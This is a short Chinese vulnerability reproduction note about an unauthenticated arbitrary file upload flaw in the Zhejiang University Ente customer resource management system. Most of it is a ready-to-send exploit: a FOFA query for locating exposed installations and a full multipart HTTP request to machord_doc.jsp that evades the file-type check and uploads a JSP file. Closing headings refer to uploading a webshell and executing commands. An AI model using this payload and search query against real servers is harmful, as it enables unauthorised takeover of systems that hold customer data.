Z1-8浙大恩特-客户资源管理系统-文件上传
漏洞描述:
浙大恩特客户资源管理系统中fileupload.jsp、CustomerAction.entphone、MailAction.entphone、machord_doc.jsp等接口处存在文件上传漏洞,未经身份认证的攻击者可以上传任意后门文件,最终可导致服务器失陷。
网站图片:
网络测绘:
fofa语法:
FOFA:app=“浙大恩特客户资源管理系统”
漏洞复现:
payload:
POST /entsoft_en/Storage/machord_doc.jsp;.js?formID=upload&machordernum=&fileName=4.jsp&strAffixStr=&oprfilenam=null&gesnum= HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQzxXQpKIb1f32N11
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryQzxXQpKIb1f32N11
Content-Disposition: form-data; name="oprfilenam"
null
------WebKitFormBoundaryQzxXQpKIb1f32N11
Content-Disposition: form-data; name="uploadflg"
0
------WebKitFormBoundaryQzxXQpKIb1f32N11
Content-Disposition: form-data; name="strAffixStr"
------WebKitFormBoundaryQzxXQpKIb1f32N11
Content-Disposition: form-data; name="selfilenam"
------WebKitFormBoundaryQzxXQpKIb1f32N11
Content-Disposition: form-data; name="uploadfile"; filename="4.jsp"
Content-Type: image/png
<%out.print("test-PoC-4");%>
------WebKitFormBoundaryQzxXQpKIb1f32N11--
效果图: 上传后响应体查找上传的的文件名,会发现上传路径
尝试验证
漏洞利用(上传马子)
命令执行